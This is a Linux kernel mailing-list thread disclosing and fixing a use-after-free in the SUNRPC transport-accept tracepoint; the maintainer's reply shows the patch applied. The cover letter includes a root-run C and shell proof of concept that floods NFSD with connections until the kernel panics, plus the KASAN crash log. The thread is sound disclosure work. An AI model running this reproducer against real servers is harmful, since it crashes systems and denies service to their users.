* [PATCH net 0/1] SUNRPC: hold a reference while tracing accepted transports
@ 2026-09-12 13:56 Zhiling Zou
2026-09-12 13:56 ` [PATCH net 1/1] " Zhiling Zou
2026-09-12 15:53 ` [PATCH net 0/1] " Chuck Lever
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:56 UTC (permalink / raw)
To: linux-nfs, netdev
Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
edumazet, pabeni, horms, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/sunrpc/svc_xprt.c. The bug is
reachable by a root user through the NFSD listener and TCP connect path.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
svc_handle_xprt() publishes a newly accepted transport with
svc_add_new_temp_xprt() before calling trace_svc_xprt_accept(). Publishing
the transport clears XPT_BUSY and allows another service worker to close
and free it immediately.
The tracepoint then dereferences the accepted transport without holding a
reference. A concurrent connect-and-close sequence can therefore make the
tracepoint read freed transport fields, including the addresses, flags,
class, and network namespace.
The fix takes an extra reference before publishing the transport and
releases it after trace_svc_xprt_accept() returns.
Reproducer:
make
sh ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
static atomic_bool stop_flag = false;
static atomic_ulong attempts = 0;
static atomic_ulong connects = 0;
static atomic_ulong errs = 0;
struct worker_args {
struct sockaddr_in addr;
};
static void on_signal(int sig)
{
(void)sig;
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
}
static void *worker(void *arg)
{
struct worker_args *w = arg;
struct linger ling = {
.l_onoff = 1,
.l_linger = 0,
};
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
int fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0) {
atomic_fetch_add_explicit(&errs, 1, memory_order_relaxed);
continue;
}
setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling));
atomic_fetch_add_explicit(&attempts, 1, memory_order_relaxed);
if (connect(fd, (struct sockaddr *)&w->addr, sizeof(w->addr)) == 0)
atomic_fetch_add_explicit(&connects, 1, memory_order_relaxed);
else if (errno != ECONNREFUSED && errno != ECONNRESET &&
errno != ETIMEDOUT && errno != EHOSTUNREACH &&
errno != ENETUNREACH)
atomic_fetch_add_explicit(&errs, 1, memory_order_relaxed);
close(fd);
}
return NULL;
}
int main(int argc, char **argv)
{
struct worker_args args = {
.addr = {
.sin_family = AF_INET,
.sin_port = htons(2049),
},
};
pthread_t *threads;
unsigned int nthreads = 64;
unsigned int seconds = 0;
time_t start = time(NULL);
if (argc > 1)
nthreads = strtoul(argv[1], NULL, 0);
if (argc > 2)
seconds = strtoul(argv[2], NULL, 0);
if (argc > 3 && inet_pton(AF_INET, argv[3], &args.addr.sin_addr) != 1) {
fprintf(stderr, "bad IPv4 address: %s\n", argv[3]);
return 1;
}
if (argc <= 3)
inet_pton(AF_INET, "127.0.0.1", &args.addr.sin_addr);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
threads = calloc(nthreads, sizeof(*threads));
if (!threads) {
perror("calloc");
return 1;
}
for (unsigned int i = 0; i < nthreads; i++) {
if (pthread_create(&threads[i], NULL, worker, &args) != 0) {
perror("pthread_create");
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
nthreads = i;
break;
}
}
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
sleep(1);
fprintf(stderr,
"elapsed=%lds attempts=%lu connects=%lu errs=%lu\n",
(long)(time(NULL) - start),
atomic_load_explicit(&attempts, memory_order_relaxed),
atomic_load_explicit(&connects, memory_order_relaxed),
atomic_load_explicit(&errs, memory_order_relaxed));
if (seconds && (unsigned int)(time(NULL) - start) >= seconds)
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
}
for (unsigned int i = 0; i < nthreads; i++)
pthread_join(threads[i], NULL);
free(threads);
return 0;
}
------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
cd "$(dirname "$0")"
mountpoint -q /proc/fs/nfsd || mount -t nfsd nfsd /proc/fs/nfsd
printf -- "-3 +4 +4.1 +4.2\n" > /proc/fs/nfsd/versions
printf "tcp 2049\n" > /proc/fs/nfsd/portlist
printf "8\n" > /proc/fs/nfsd/threads
printf "0" > /proc/sys/kernel/panic_on_warn
printf "1" > /sys/kernel/tracing/events/sunrpc/svc_xprt_accept/enable
exec ./poc 128 180
------END poc.sh--------
----BEGIN crash log----
[ 333.976492][ T1246] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI
[ 333.977355][ T1246] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
[ 333.977921][ T1246] CPU: 0 UID: 0 PID: 1246 Comm: nfsd Tainted: G B 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 333.978690][ T1246] Tainted: [B]=BAD_PAGE
[ 333.978970][ T1246] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 333.979739][ T1246] RIP: 0010:trace_event_get_offsets_svc_xprt_accept+0x101/0x2e0
[ 333.980242][ T1246] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c3 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 75 00 4c 89 f2 48 c1 ea 03 <80> 3c 02 00 0f 85 b1 01 00 00 49 8b 3e 48 c7 c0 40 ff 11 87 45 8d
[ 333.981476][ T1246] RSP: 0018:ffffc90003487c98 EFLAGS: 00010256
[ 333.981879][ T1246] RAX: dffffc0000000000 RBX: ffffc90003487d70 RCX: 0000000000000000
[ 333.982391][ T1246] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffffc90003487c60
[ 333.982899][ T1246] RBP: ffff88810948c000 R08: 0000000000000001 R09: fffffbfff162a4dc
[ 333.983401][ T1246] R10: ffffffff8b1526e7 R11: ffffffff8868e950 R12: 0000000000000020
[ 333.983948][ T1246] R13: ffffffff8696cb80 R14: 0000000000000000 R15: 0000000000100034
[ 333.984458][ T1246] FS: 0000000000000000(0000) GS:ffff888119a00000(0000) knlGS:0000000000000000
[ 333.985059][ T1246] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 333.985486][ T1246] CR2: 00007c23a67c3f78 CR3: 0000000109790003 CR4: 0000000000770ef0
[ 333.986017][ T1246] PKRU: 55555554
[ 333.986254][ T1246] Call Trace:
[ 333.986469][ T1246] <TASK>
[ 333.986668][ T1246] do_trace_event_raw_event_svc_xprt_accept+0xce/0x5d0
[ 333.987112][ T1246] ? __pfx_do_trace_event_raw_event_svc_xprt_accept+0x10/0x10
[ 333.987582][ T1246] ? srso_alias_return_thunk+0x5/0xfbef5
[ 333.987949][ T1246] ? srso_alias_return_thunk+0x5/0xfbef5
[ 333.988320][ T1246] ? srso_alias_return_thunk+0x5/0xfbef5
[ 333.988686][ T1246] ? kasan_quarantine_put+0xcc/0x1d0
[ 333.989350][ T1246] svc_recv+0x1d74/0x2520
[ 333.989649][ T1246] nfsd+0x2f1/0x440
[ 333.989900][ T1246] ? __pfx_nfsd+0x10/0x10
[ 333.990185][ T1246] kthread+0x2bd/0x3a0
[ 333.990451][ T1246] ? __pfx_kthread+0x10/0x10
[ 333.990750][ T1246] ? __pfx_kthread+0x10/0x10
[ 333.991046][ T1246] ret_from_fork+0x31/0x70
[ 333.991329][ T1246] ? __pfx_kthread+0x10/0x10
[ 333.991632][ T1246] ret_from_fork_asm+0x1a/0x30
[ 333.991958][ T1246] </TASK>
[ 333.992156][ T1246] Modules linked in:
[ 333.992461][ T1246] ---[ end trace 0000000000000000 ]---
[ 333.992828][ T1246] RIP: 0010:trace_event_get_offsets_svc_xprt_accept+0x101/0x2e0
[ 333.993321][ T1246] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c3 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 75 00 4c 89 f2 48 c1 ea 03 <80> 3c 02 00 0f 85 b1 01 00 00 49 8b 3e 48 c7 c0 40 ff 11 87 45 8d
[ 333.994585][ T1246] RSP: 0018:ffffc90003487c98 EFLAGS: 00010256
[ 333.994975][ T1246] RAX: dffffc0000000000 RBX: ffffc90003487d70 RCX: 0000000000000000
[ 333.995510][ T1246] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffffc90003487c60
[ 333.996041][ T1246] RBP: ffff88810948c000 R08: 0000000000000001 R09: fffffbfff162a4dc
[ 333.996546][ T1246] R10: ffffffff8b1526e7 R11: ffffffff8868e950 R12: 0000000000000020
[ 333.997104][ T1246] R13: ffffffff8696cb80 R14: 0000000000000000 R15: 0000000000100034
[ 333.997621][ T1246] FS: 0000000000000000(0000) GS:ffff888119a00000(0000) knlGS:0000000000000000
[ 333.998216][ T1246] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 333.998627][ T1246] CR2: 00007c23a67c3f78 CR3: 0000000109790003 CR4: 0000000000770ef0
[ 333.999145][ T1246] PKRU: 55555554
[ 333.999377][ T1246] Kernel panic - not syncing: Fatal exception
[ 333.999901][ T1246] Kernel Offset: disabled
[ 334.000176][ T1246] Rebooting in 10 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
SUNRPC: hold a reference while tracing accepted transports
net/sunrpc/svc_xprt.c | 2 ++
1 file changed, 2 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net 1/1] SUNRPC: hold a reference while tracing accepted transports
2026-09-12 13:56 [PATCH net 0/1] SUNRPC: hold a reference while tracing accepted transports Zhiling Zou
@ 2026-09-12 13:56 ` Zhiling Zou
2026-09-12 15:53 ` [PATCH net 0/1] " Chuck Lever
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:56 UTC (permalink / raw)
To: linux-nfs, netdev
Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
edumazet, pabeni, horms, vega, zhilinz
svc_handle_xprt() publishes a newly accepted transport before tracing it.
The publication can make the transport available to another worker, which
may close and free it before the tracepoint has finished reading it.
Take an extra reference before publication and drop it after the tracepoint
so the accepted transport remains alive for the tracepoint dereferences.
Fixes: 11bbb0f76e99 ("SUNRPC: Trace a few more generic svc_xprt events")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/sunrpc/svc_xprt.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/net/sunrpc/svc_xprt.c b/net/sunrpc/svc_xprt.c
index 40040af588fb2..9370401463b6a 100644
--- a/net/sunrpc/svc_xprt.c
+++ b/net/sunrpc/svc_xprt.c
@@ -852,8 +852,10 @@ static void svc_handle_xprt(struct svc_rqst *rqstp, struct svc_xprt *xprt)
newxpt = xprt->xpt_ops->xpo_accept(xprt);
if (newxpt) {
newxpt->xpt_cred = get_cred(xprt->xpt_cred);
+ svc_xprt_get(newxpt);
svc_add_new_temp_xprt(serv, newxpt);
trace_svc_xprt_accept(newxpt, serv->sv_name);
+ svc_xprt_put(newxpt);
} else {
module_put(xprt->xpt_class->xcl_owner);
}
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH net 0/1] SUNRPC: hold a reference while tracing accepted transports
2026-09-12 13:56 [PATCH net 0/1] SUNRPC: hold a reference while tracing accepted transports Zhiling Zou
2026-09-12 13:56 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-09-12 15:53 ` Chuck Lever
1 sibling, 0 replies; 3+ messages in thread
From: Chuck Lever @ 2026-09-12 15:53 UTC (permalink / raw)
To: linux-nfs, netdev, Zhiling Zou
Cc: trondmy, anna, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
edumazet, pabeni, horms, vega
On Sat, 12 Sep 2026 21:56:08 +0800, Zhiling Zou wrote:
> We found and validated an issue in net/sunrpc/svc_xprt.c. The bug is
> reachable by a root user through the NFSD listener and TCP connect path.
> We've tested it, and it should not affect any other functionality.
>
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
>
> [...]
Applied to nfsd-testing, thanks!
[1/1] SUNRPC: hold a reference while tracing accepted transports
commit: 5fe97e4d0a041521dc4aef417ff250c902fad928
--
Chuck Lever
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-12 15:53 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-12 13:56 [PATCH net 0/1] SUNRPC: hold a reference while tracing accepted transports Zhiling Zou
2026-09-12 13:56 ` [PATCH net 1/1] " Zhiling Zou
2026-09-12 15:53 ` [PATCH net 0/1] " Chuck Lever
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox